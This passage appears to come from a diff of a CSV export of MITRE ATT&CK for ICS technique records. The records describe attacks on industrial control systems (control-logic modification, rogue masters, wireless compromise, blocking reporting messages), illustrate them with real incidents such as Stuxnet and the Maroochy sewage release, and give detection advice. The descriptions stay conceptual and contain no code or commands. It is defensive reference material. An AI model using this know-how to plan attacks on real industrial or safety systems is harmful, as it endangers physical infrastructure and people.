logs'],,,,,,,,,,,,,,"['Windows', 'Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: Man-in-the-middle, Spoof command message, Changing setpoints. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.(Citation: LondonReconnections Hacked Cyber Security Railways May 2017)(Citation: InHomelandSecurity Hacker Poland February 2008)(Citation: Schneier Hacking Polish Trams January 2008) Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008)Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008) The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact.(Citation: Schneier Hacking Polish Trams January 2008)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0831', external_id='T0831'), ExternalReference(source_name='LondonReconnections Hacked Cyber Security Railways May 2017', description='John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', url='https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'), ExternalReference(source_name='InHomelandSecurity Hacker Poland February 2008', description='Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', url='https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/'), ExternalReference(source_name='Schneier Hacking Polish Trams January 2008', description='Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', url='https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html')]",attack-pattern--1af9e3fd-2bcc-414d-adbd-fe3b95c02ca1,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impact-ics')]",2020-05-21 17:43:26.506000+00:00,Manipulation of Control,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,,,['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may place malicious code in a system, which can cause the system to malfunction by modifying its control logic. Control system devices use programming languages (e.g. relay ladder logic) to control physical processes by affecting actuators, which cause machines to operate, based on environment sensor readings. These devices often include the ability to perform remote control logic updates. +Firmware rootkits that affect the operating system yield nearly full control of the system. While firmware rootkits are normally developed for the main processing board, they can also be developed for I/O that can be attached to the asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact. -Program code is normally edited in a vendor-specific Integrated Development Environment (IDE) that relies on proprietary tools and features. These IDEs allow an engineer to perform host target development and may have the ability to run the code on the machine it is programmed for. The IDE will transmit the control logic to the testing device, and will perform the required device-specific functions to apply the changes and make them active. +Detection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR.Reference - Rootkit","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0851', 'external_id': 'T0851'}, {'source_name': 'EAttack Rootkit', 'description': 'Enterprise ATT&CK. (2018, January 11). Rootkit. Retrieved May 16, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1014'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Drive: Drive Modification', 'Firmware: Firmware Modification', 'Module: Module Load']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,, +attack-pattern,attack-pattern--648f995e-9c3a-41e4-aeee-98bb41037426,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Spearphishing Attachment,"Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access. (Citation: EAttack Spearphishing Attachment) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012, targeted ONG organizations and their employees. The emails were constructed with a high level of sophistication to convince employees to open the malicious file attachments.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0865', 'external_id': 'T0865'}, {'source_name': 'EAttack Spearphishing Attachment', 'description': 'Enterprise ATT&CK. (2019, October 25). Spearphishing Attachment. Retrieved October 25, 2019.', 'url': 'https://attack.mitre.org/techniques/T1193/'}, {'source_name': 'CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021', 'description': 'ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,,"['Engineering Workstation', 'Human-Machine Interface', 'Control Server', 'Data Historian']",,,,,,,, +attack-pattern,attack-pattern--b7e13ee8-182c-4f19-92a4-a88d7d855d54,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-11T16:22:12.527Z,Theft of Operational Information,"Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations. -An adversary may attempt to use this host target IDE to modify device control logic. Even though proprietary tools are often used to edit and update control logic, the process can usually be reverse-engineered and reproduced with open-source tools. +In the Bowman Dam incident, adversaries probed systems for operational data. (Citation: Bowman Dam - Times) (Citation: Bowman Dam - wall street journal)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0882', 'external_id': 'T0882'}, {'source_name': 'Bowman Dam - Times', 'description': 'Mark Thompson. (2016, March 24). Iranian Cyber Attack on New York Dam Shows Future of War. Retrieved November 7, 2019.', 'url': 'https://time.com/4270728/iran-cyber-attack-dam-fbi/'}, {'source_name': 'Bowman Dam - wall street journal', 'description': 'Danny Yadron. (2015, December 20). Iranian Hackers Infiltrated New York Dam in 2013. Retrieved November 7, 2019.', 'url': 'https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['None'],,,,,,,, +attack-pattern,attack-pattern--2877063e-1851-48d2-bcc6-bc1d2733157e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Wireless Compromise,"Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. (Citation: ICSCorsair - Bolshev) (Citation: Hart - Bolshev) Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. -An adversary can de-calibrate a sensor by removing functions in control logic that account for sensor error. This can be used to change a control process without actually spoofing command messages to a controller or device. +A joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective. (Citation: Maroochy - MITRE - 200808) The adversary disrupted Maroochy Shire's radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire's repeater stations. -It is believed this process happened in the lesser known over-pressurizer attacks build into Stuxnet. Pressure sensors are not perfect at translating pressure into an analog output signal, but their errors can be corrected by calibration. The pressure controller can be told what the “real” pressure is for given analog signals and then automatically linearize the measurement to what would be the “real” pressure. If the linearization is overwritten by malicious code on the S7-417 controller, analog pressure readings will be “corrected” during the attack by the pressure controller, which then interprets all analog pressure readings as perfectly normal pressure no matter how high or low their analog values are. The pressure controller then acts accordingly by never opening the stage exhaust valves. In the meantime, actual pressure keeps rising. (Citation: Stuxnet - Langner - 201311) +A Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) The remote controller device allowed the student to interface with the tram’s network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. (Citation: LodzTram-Schneier-2008-01) The controller then enabled initial access to the network, allowing the capture and replay of tram signals. (Citation: LodzTram-LondonReconnections-2017-12)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0860', 'external_id': 'T0860'}, {'source_name': 'Hart - Bolshev', 'description': 'Alexander Bolshev. (2014, March 11). S4x14: HART As An Attack Vector. Retrieved January 5, 2020.', 'url': 'https://www.slideshare.net/dgpeters/17-bolshev-1-13'}, {'source_name': 'ICSCorsair - Bolshev', 'description': 'Alexander Bolshev, Gleb Cherbov. (2014, July 08). ICSCorsair: How I will PWN your ERP through 4-20 mA current loop. Retrieved January 5, 2020.', 'url': 'https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf'}, {'source_name': 'LodzTram-InHomelandSecurity-2008-02', 'description': 'Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', 'url': 'https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/'}, {'source_name': 'LodzTram-LondonReconnections-2017-12', 'description': 'John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'}, {'source_name': 'LodzTram-Schneier-2008-01', 'description': 'Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Scott Dougherty'],"['Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Logon Session: Logon Session Creation']",,,,,"['Control Server', 'Field Controller/RTU/PLC/IED', 'Input/Output Server']",,,,,,,, +attack-pattern,attack-pattern--3de230d4-3e42-4041-b089-17e1128feded,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Automated Collection,"Adversaries may automate collection of industrial environment information using tools or scripts. This automated collection may leverage native control protocols and tools available in the control systems environment. For example, the OPC protocol may be used to enumerate and gather information. Access to a system or interface with these native protocols may allow collection and enumeration of other attached, communicating servers and devices.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0802', 'external_id': 'T0802'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Access', 'Script: Script Execution', 'Network Traffic: Network Traffic Content']",,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay', 'Control Server']",,,,,,,, +attack-pattern,attack-pattern--d67adac8-e3b9-44f9-9e6d-6c2a7d69dbe4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Connection Proxy,"Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. -In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0833', external_id='T0833'), ExternalReference(source_name='Stuxnet - Langner - 201311', description=""Ralph Langner. (2013, November). To Kill a Centrifuge: A Technical Analysis of What Stuxnet's Creators Tried to Achieve. Retrieved March 27, 2018."", url='https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf'), ExternalReference(source_name='Maroochy - MITRE - 200808', description='Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', url='https://www.mitre.org/sites/default/files/pdf/08%201145.pdf')]",attack-pattern--e0d74479-86d2-465d-bf36-903ebecef43e,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impair-process-control'), KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='inhibit-response-function')]",2020-05-21 17:43:26.506000+00:00,Modify Control Logic,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sequential event recorder', 'Controller program', 'Network protocol analysis', 'Packet capture']",,True,,,,,,,,,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as [https://en.wikipedia.org/wiki/Netstat netstat], in conjunction with System Firmware, then they can determine the role of certain devices on the network (Citation: EAttack System Network Connections Discovery). The adversary can also use Network Sniffing to watch network traffic for details about the source, destination, protocol, and content.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0840', external_id='T0840'), ExternalReference(source_name='EAttack System Network Connections Discovery', description='MITRE. (n.d.). System Network Connections Discovery. Retrieved May 31, 2018.', url='https://attack.mitre.org/wiki/Technique/T1049')]",attack-pattern--ea0c980c-5cf0-43a7-a049-59c4c207566e,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='discovery-ics')]",2020-05-21 17:43:26.506000+00:00,Network Connection Enumeration,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process monitoring', 'API monitoring']",,,,,,,,,,,,,,['Human-Machine Interface'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Program Organizational Units (POUs) are block structures used within PLC programming to create programs and projects. (Citation: Guidance - IEC61131) POUs can be used to hold user programs written in IEC 61131-3 languages: Structured text, Instruction list, Function block, and Ladder logic. (Citation: Guidance - IEC61131) Application - 201203 They can also provide additional functionality, such as establishing connections between the PLC and other devices using TCON. (Citation: PLCBlaster - Spenneberg) - -Stuxnet uses a simple code-prepending infection technique to infect Organization Blocks (OB). For example, the following sequence of actions is performed when OB1 is infected (Citation: Stuxnet - Symantec - 201102): -*Increase the size of the original block. -*Write malicious code to the beginning of the block. -*Insert the original OB1 code after the malicious code.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T844', external_id='T0844'), ExternalReference(source_name='Guidance - IEC61131', description='John Karl-Heinz. (n.d.). Programming Industrial Automation Systems. Retrieved October 22, 2019.', url='http://www.dee.ufrj.br/controle%20automatico/cursos/IEC61131-3%20Programming%20Industrial%20Automation%20Systems.pdf'), ExternalReference(source_name='PLCBlaster - Spenneberg', description='Spenneberg, Ralf, Maik Brüggemann, and Hendrik Schwartke. (2016, March 31). Plc-blaster: A worm living solely in the plc.. Retrieved September 19, 2017.', url='https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf'), ExternalReference(source_name='Stuxnet - Symantec - 201102', description='Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', url='https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf')]",attack-pattern--ae62fe1a-ea1a-479b-8dc0-65d250bd8bc7,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='lateral-movement-ics'), KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='execution-ics')]",2020-05-21 17:43:26.506000+00:00,Program Organization Units,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,,,,,,,,,,,,"['Windows', 'Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may setup a rogue master to leverage control server functions to communicate with outstations. A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations. In the case of the 2017 Dallas Siren incident, adversaries used a rogue master to send command messages to the 156 distributed sirens across the city, either through a single rogue transmitter with a strong signal, or using many distributed repeaters.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0848', external_id='T0848'), ExternalReference(source_name='Maroochy - MITRE - 200808', description='Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', url='https://www.mitre.org/sites/default/files/pdf/08%201145.pdf')]",attack-pattern--b14395bd-5419-4ef4-9bd8-696936f509bb,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics')]",2021-04-12 19:26:26.506000+00:00,Rogue Master,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sequential event recorder', 'Asset management', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,"['Human-Machine Interface', 'Control Server', 'Engineering Workstation']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. (Citation: EAttack Service Stop) +The definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. -Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction. (Citation: EAttack Service Stop)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0881', external_id='T0881'), ExternalReference(source_name='EAttack Service Stop', description='Enterprise ATT&CK. (n.d.). Service Stop. Retrieved October 29, 2019.', url='https://attack.mitre.org/techniques/T1489/')]",attack-pattern--063b5b92-5361-481a-9c3f-95492ed9a2d8,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='inhibit-response-function')]",2021-04-12 16:23:26.506000+00:00,Service Stop,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process command-line parameters', 'Process monitoring', 'API monitoring', 'Windows Registry']",,,,,,,,,,,,,,"['Windows', 'Human-Machine Interface', 'Control Server', 'Data Historian', 'Engineering Workstation']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers.(Citation: Research - Firmware Modification)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0857', external_id='T0857'), ExternalReference(source_name='Research - Firmware Modification', description='Basnight, Zachry, et al.. (n.d.). Retrieved October 17, 2017.', url='http://www.sciencedirect.com/science/article/pii/S1874548213000231'), ExternalReference(source_name='Ukraine15 - EISAC - 201603', description='Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', url='https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf')]",attack-pattern--b9160e77-ea9e-4ba9-b1c8-53a3c466b13d,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='persistence-ics'), KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='inhibit-response-function')]",2020-05-21 17:43:26.506000+00:00,System Firmware,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Alarm history', 'Sequential event recorder', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED', 'Input/Output Server']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. (Citation: ICSCorsair - Bolshev) (Citation: Hart - Bolshev) Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. +The network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. (Citation: EAttack Connection Proxy) -A joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective. (Citation: Maroochy - MITRE - 200808) The adversary disrupted Maroochy Shire's radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire's repeater stations. +Detection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious. -A Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) The remote controller device allowed the student to interface with the tram’s network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. (Citation: LodzTram-Schneier-2008-01) The controller then enabled initial access to the network, allowing the capture and replay of tram signals. (Citation: LodzTram-LondonReconnections-2017-12)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0860', external_id='T0860'), ExternalReference(source_name='Hart - Bolshev', description='Alexander Bolshev. (2014, March 11). S4x14: HART As An Attack Vector. Retrieved January 5, 2020.', url='https://www.slideshare.net/dgpeters/17-bolshev-1-13'), ExternalReference(source_name='ICSCorsair - Bolshev', description='Alexander Bolshev, Gleb Cherbov. (2014, July 08). ICSCorsair: How I will PWN your ERP through 4-20 mA current loop. Retrieved January 5, 2020.', url='https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf'), ExternalReference(source_name='LodzTram-InHomelandSecurity-2008-02', description='Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', url='https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/'), ExternalReference(source_name='LodzTram-LondonReconnections-2017-12', description='John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', url='https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'), ExternalReference(source_name='LodzTram-Schneier-2008-01', description='Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', url='https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html'), ExternalReference(source_name='Maroochy - MITRE - 200808', description='Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', url='https://www.mitre.org/sites/default/files/pdf/08%201145.pdf')]",attack-pattern--2877063e-1851-48d2-bcc6-bc1d2733157e,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics')]",2020-05-21 17:43:26.506000+00:00,Wireless Compromise,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Scott Dougherty'],"['Network protocol analysis', 'Packet capture', 'Network intrusion detection system']",,,,,,,,,,,,,,['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may block or prevent a reporting message from reaching its intended target. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked.(Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0804', external_id='T0804'), ExternalReference(source_name='Research - Research - Taxonomy Cyber Attacks on SCADA', description='Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', url='http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'), ExternalReference(source_name='Ukraine15 - EISAC - 201603', description='Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', url='https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf')]",attack-pattern--3f1f4ccb-9be2-4ff8-8f69-dd972221169b,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='inhibit-response-function')]",2020-05-21 17:43:26.506000+00:00,Block Reporting Message,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Alarm History', 'Data historian', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,"['Field Controller/RTU/PLC/IED', 'Input/Output Server']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. (Citation: EAttack Command-Line Interface) Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation. +Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'command-and-control-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0884', 'external_id': 'T0884'}, {'source_name': 'EAttack Connection Proxy', 'description': 'Enterprise ATT&CK. (2018, January 11). Connection Proxy. Retrieved May 17, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1090'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://www.cpni.gov.uk/Documents/Publications/2014/2014-04-23-c2-report-birmingham.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,['None'],,,,,,,, +attack-pattern,attack-pattern--3405891b-16aa-4bd7-bd7c-733501f9b20f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Data from Information Repositories,"Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases or local machines in the process environment, as well as workstations and databases in the corporate network that might contain information about the ICS. Information collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS. In 